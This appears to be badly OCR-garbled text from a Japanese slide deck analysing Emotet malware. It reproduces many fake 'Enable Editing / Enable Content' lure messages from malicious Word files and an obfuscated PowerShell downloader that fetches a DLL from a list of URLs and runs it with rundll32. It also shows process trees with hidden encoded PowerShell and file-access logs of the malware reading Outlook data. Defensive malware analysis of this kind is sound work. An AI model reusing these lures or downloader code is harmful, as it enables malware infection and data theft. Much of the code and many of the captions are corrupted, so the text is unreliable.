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" PROTECTED VIEW

The action can't be completed because the file is open in Protected View.

Some active content has been disabled. Click Enable Editing and Enable
Content.
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@ Microsoftword

1f you are opening the attached file with Microsoft Word and you see a Protected view warning
then no values will be displayed until editing is enabled.

My Office

You are attempting to open a file that was created in an earlier version of Microsoft Office.
If the file opens in Protected View, click Enable ion and then click Enable Content.

Microsoft Office 365

You are attempting to open a file that was created in an earlier version
of Microsoft Office.

If the file opens in Protected View, click Enable Edition and then click
Enable Content.

r  This document created in previous version of Microsoft Office Word.

To view or edit this document, please click “Enable editing" button
on the top bar, and then click "Enable content’

1] Office 365

THIS DOCUMENT IS PROTECTED.

Previewing is not available for protected documents.

You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.

[ windows update

Some apps need to be updated

You need to click Enable Editingand then click Enable Content.

Upgrade your edition of Microsoft Wor

Upgrading your edition will add new features to Microsoft Word

Please, click Enable Editing and then click Enable Content.

Questo file & stato creato con una versione
precedente di Microsoft Office Word.

Per visualizzare il contenuto & necessario fare dick sul pulsante “Abilita modifiche”,
ntenuto”.

situato sulla barra gialla in alto, e poi diccare su *Abilita co

> (—HERFEIT

Microsoft Office Wizard

Microsoft Office
] Office

Transformation Wizard

Operation did not complete successfully because the file was created on Android device.
To view and edit document click "Enable Editing” and then click "Enable Content".

" PROTECTED VIEW

The action can't be completed because the file is open in Protected View.

Some active content has been disabled. Click Enable Editing and Enable
Content.

Type: Microsoft Word Document

] Office

This document was created in OpenOffice.
To edit this document, click Enable editing button from the yellow bar above.

Once you have enabled editing, please click Enable content button from the yellow bar above.

] Office 365

You are attempting to open a file that was created in an earlier version of Microsoft Office.

If the file opens in Protected View, click Enable Editing, and then click Enable Content

Microsoft Word Office 365

Operation did not complete successfully because the file was created on Windows 10 Mobile device.
To view and edit document click Enable Ediiting and then click Enable Content.

] Office 365

Operation did not complete successfully because the file was created on I0S device.

To view and edit document click Enable Edition and then click Enable Content.

Microsoft Word

o Word couldn't start last time. Safe mode could help you
troubleshoot the problem.

To start Microsoft Word in safe mode press Enable Editing
and Enable Content.

] Office 365

This document created in online version of Microsoft Office Word

To view or edit this document, please click "Enable editing" button
on the top yellow bar, and then click “Enable content*
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- EASN TEmotetH EE
o 1D TCHLHEN-EEmotethAF O

seT-itén ("V'+"AR"+"TA"'BLEIOIU"+"35") ( [yPEIC{4H2}BHOM1)"F "0°, 'Ry’, 10.d", "drect’, ‘SYsten. )) ;
$g0AVIZ= [tyPE]("{5H{3}{OH4}{1}{2}" -F '.nET.’, Ep0’, ' INTmANAGer’,’YSTEm','SeRviC','s") ;
$Gesszxk=("Qe'+('rtx'+'ev’));

$Mswhduk=$N9romad + [char](64) + $I6ive8k;

$Led_bay=("R'+('ub’+'7sn")+'s");

( GEt-VAriaBle ("oLU3"+"j") ).ValUe::"
$Frv27ff=("Ag'+('g'+'S01e"));
$gQaVIz::"S ecu’ RiTy pro TOCO1" = ('T1'+('s1'+'2"));
$Vmdsfuz=("61'+('j1'+'0")+'hs");

$Hh_3ola = ("I'+'sn'+('yl'+'ujk_'));
$Z7wSn@s=("BF'+'ja'+("ku'+'3"));

mnpjs.n—( (g0t ) ke )3

sNoxAdpn-(( F'4'xfy’)+'zm'+'u’);

Bohi=H 14k (5"7TURL)
—k 1T

C*Re” A" Ted™ IreCTORY" ($HOME + (('m'+("0wK'+'@")+'6y "+(*a@8"+ mow’)+("Na'+'g" }+'dz"+("n"+ cmow’))-crePLACe (‘mo’+'w’),[char]92));

-cReplACe([ChaR]49+[ChaR]70+[ChaR]76), [ChaR]92)+$Hh 3ola+((".d'+'1")+'1");

5 = o -
$ROhAzyo=((((*htt'+'p:3)("+'3"))+(('s'+'2)("+'3'+")(352) (a"))+ Kt +'u"+"e +(" L'+ 2" )+"rd"+(("uk.kimd "+
(Logs'+7)"+'(35°))+(("2) "))+ ("+(("@htt '+'p:3) "+ (352)(3'+" ) (3'+'52) "+" (braam.c’+'0")}+(("m.brd"+*

#1392 () # (@R I HC) C)H((3'+'52) () (+7352) (21))+ e +('b'+"aorgan'+ 1 )4('c'+'s
1 (ETHRUS )R I ) (3 S2) (DO 1 p (D) (34 +2 ) () (7+) N+ (+352) )+

+ i+ ((

+1.com3")+((1) (3"
+)((CcomdtH) 4 (4735747 2) (n3) (35274 ) (+ W ))+("UG"+10Z3")+(() (37+752) "+ (@) 'h'+ 't + tp ("
(°3)"+7(352°+°) " ))+(("(cs'+°53) +° ("))+("3'4"52° )" ) +((*(S"))+(CysI'+°) (" ))+(*3"+'52°)+((*) (*)))) -
"5 pliT"(SWqcepvr + $Mswhduk + $Oom3ubo) ;

")'4(352°47) (do"+70" ) )+ xi "+ (("-Fuel'+’ -hfo'+'9"+'bI"+") "+ (352) " ))+((
)(37+52°))4 )+ (+((1 €D+ ) (357+°2) )+ ("+("0a"+ ATY Y+ W+ WK )+ 3 +(( ")
DHCCom I NI (+35HCD(+ W ))+(p-ad s m((Cind) + (N 352)'

+'-r'+("a’+'rs03 " )+" ) #((T(37))+" s #((72) "+ ("+'SIGNUP ) )+(("3)(3"+'s2) "))+ (("("+'@h"))+ "t +(('t"
S'))4+T2°+((") "+ ("+°bI) (")) +(("352) (y '+ @Qnnk + kI "+ ) ("))+(( 352"+ ) (@h"))+ "t H((tp:d) "+ ((+'352°))+( () ("+'2) "+ (37+"52)
) CNH((C37+752) (37))+((7) (" +73527) )+ http/

"re PlaTcET((((C) ("+737))+(("s2'+7) (1)),

))+(+( s'+'tr')+(‘eanl’

p:id'+') (352" ))*(( Y(+'3)

/dooxi-fuel-hf09b/Logs/
http:/ aA7YWWX/
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foreach ($Nxdebim in $R9h4zyo | SoRT-"0"Bje Ct {GEt-"Ra N DoM}){
tey{

$365r80i . "dounlo” A'DFI" 1e” ($Nxdebim, $Hak77gz);

$AVVBiB0=('X'+'r " +("1'+'dv1"));

If ((-('Get-It'+'e’+'m’) $HAKT7gz)."le NgtH" -ge 33442) {
.(‘rund’+'1'+'132") $HAKk77gz, #1'."T0S TriNG"();
$Kvj6y38=("A"+('m60"+'6" )4 S7");
break;
$E2ar_uf=('Ne'+('s1'+'ceh’))

}
Jeatch{}
}$ABjckIn=("R'+( "K'+ hu’ J+("t '+ ub"))

EiTEN BPowerShellX4) Tk

http:/ /wp-admin/en-US/

http:/ om/streamlabs-obs-rarso/SIGNUP/
http:/ 0QnnWbk/

http:/ /n/WUGoZ/

http:/ s/
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1400 WINWORD.EXE /n "C:\Users\admin\AppData\Local\Temp\$&&5= doc" -

242 IE&\%-E-\TG)/JIth‘\ )a

- BOIT—AvtE—IUDNRTREINEESIZEHS
- DLLFER DEmotetZrundll32.exe CETT S

WE{=1EHARMI(11/01-12/20)
20204108318 - » 2020%12H21H

| 2128 WINWORD.EXE /n*C:\Users\admin\AppData\Local\Temp\ %1 —%71J

B 2«2y 1k ¢ 114

596 |WMI POwershelLexe -ENCOD JABRADIAJAAZADYAeQBhADOAKAANAECAJWATACGAJWBUAGCAZW. . v | 3100 /WMIL cmd.exe cmd cmd cmd /c msg %usemame% /v Word experie
€ @ E B 1z se2 o 230
vl 1432 G64qgBv.exe | PE 120 msg.exe admin /v Word experienced an error trying to open the file.
&3 B 4643 a7 & 102 B s o 30
352 spoolsv.exe | PE vl2 powershell.exe -w hidden -ENCOD IAAgAHMAZQBOACOASQBOAGUATQAGACAAKAANAFYAYQBS..
8 emotet [ 292 3 22 & 63 5 B 1k 2 283 f 214
w | 3980 rundli32.exe C:\Users\admin\J95z9xs\Ytz_2wz\Anbd969ox.dll #1
B 387 2 46 & 116
> rundli32.exe "C:\Users\admin\AppData\Local\Qeun\ucp.weg",RunDLL
B 8oz 3 & 41
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- cmdexe (3664) cmd cmd cmd emd fc msg XusernameX fv Word experienced an error trying to open the file. & POwershelL —w hidden —EN

= Conhostexe (6648) ¥MECEWindows¥system32¥conhost exe DT -Force 1
msgexe (6612) msg /v Word experienced an error trying to open the file.
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Yrundll3? exe (2900) “C¥Windows¥system32¥rundll32 axe” CX¥Users¥ £K06 ya08 ¥Ndedzn c¥15nylujk_dilL#1
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Biicoexe (4560) “C¥Users¥ ¥AppData¥local¥Temp¥¥coexe” "C:¥lsers¥ ¥ AppData¥local¥Temp¥F4BC tmp”
“CX¥Users¥ ¥AppData¥local¥Temp¥¥boexe” “"CX¥Users¥: ¥AppData¥local¥Temp¥F4BC tmp”
“C¥Users¥ ¥AppData¥local¥Temp¥¥zoexe” fscomma “C:¥Users¥ ¥ AppData¥local¥Temp¥FD49 tmp”
mide)oe (2884) “C¥Users¥ ¥AppData¥local¥Temp¥¥idexe” “C:¥lsersy ¥ AppData¥local¥Temp¥26 Atmp”
kf_->oe (4568) “C¥Users¥ ¥AppData¥local¥Temp¥¥kexe” “"CX¥Users¥ £AppData¥local¥Temp¥26 Atmp”

certutil.exe:

cmd.exe
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20:08:38 5068946 _J rundli3? exe R CreateFile C:¥Windows¥S ystem3 2¥certutilexe
20:08:38 5083954 _J rundli32 gxe g CQueryStandardinformationFile C:¥Windows¥S ystem3 2¥certutil exe
20:08:38508741 8 _j rundli3? & xe E__l ReadFile C:¥Windows¥S ystem3 2¥certutilexe
20:08:38 5088474 _] rundli32 2xe B ReadFile C:¥Windows¥System3 2¥certutilexe
20:08:38 5155571 _j rundli32 2 xe [, CloseFile C:¥Windows¥System3 2¥certutilexe
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20:08:38 5164030 rundli3? & xe B WriteFile C¥lUsers¥ ¥AppData¥lLocal¥Temp¥bo axe

20:08:38 5272538 %3 [} CreateFile C:¥Windows¥Pre fe tch¥B0 EXE-BCO00ADS pf
20:08:38 5278827 [ CresteFile C:¥Windows¥System3?

20:08:38 5287116 %3 EL QueryNamelnformationFile C:¥Windows¥System3 2¥KernelBase dil
20:08:33 5287966 %3 B QueryNamelnformationFile C:¥Windows¥S ystem32¥KernelBase dil
20:08:383 5288791 9 EL QueryNamelnformationFile C¥Windows¥System3 2¥kernel32 dil

20:08:404024037 3 =% ReadFile C¥lsers¥ ¥ AppData¥l ocal¥Microsoft¥0u tlook¥ |comost
20:08:404030548 [;_lﬁ:eadFile C¥lUsers¥ ¥ AppData¥l ocal¥Microsoft¥0u tlook¥ |comost
20:08:404033723 BReadFile C:¥Users¥ ¥AppData¥local¥Microsoft¥0u tiook¥ |comost
20:08:404036188 °© BReadFile C¥Users¥ ¥AppData¥local¥Microsoft¥0u tlook¥ |comost
20:08:404037045 BReadFile C¥Users¥ ¥ AppData¥l ocal¥Microsoft¥0u tlook¥ |comost
20:08:404046305 © R\, WriteFile C¥Users¥ ¥AppData¥local¥Temp¥F4BC tmp
20:08:404047106 B"\'MteFile C:¥Users¥ ¥AppData¥local¥Temp¥F4BC tmp
20:08:404061827 B WriteFile C:¥lUsers¥ ¥AppData¥local¥Temp¥F4BC tmp
20:08:404062442 3 g WriteFile C¥Users¥ ¥AppData¥local¥Temp¥F4BC tmp
20:02:404062957 ° gl\'lritef-'ile C¥lUsers¥ ¥AppData¥l ocal¥Temp¥F4BC tmp
20:08:404063381 9 @‘M’iteFile C¥lUsers¥ ¥AppData¥l ocal¥Temp¥F4BC tmp
20:08:404064016 9 B\ WriteFile C:¥lUsers¥ ¥AppData¥local¥Temp¥F4BC tmp
20:08:404064218 El WriteFile C¥Users¥ ¥AppData¥local¥Temp¥F4BC tmp
20:08:404065087 ? Ek WriteFile C¥lUsers¥ ¥AppData¥l ocal¥Temp¥F4BC tmp
20:08:40 4065176 %3 gk WriteFile C¥lUsers¥ ¥AppData¥local¥Temp¥F4BC tmp
24 20:02:404066021 3 E-:_% CloseFile C:¥Users¥ ¥AppData¥local¥Temp¥F4BC tmp
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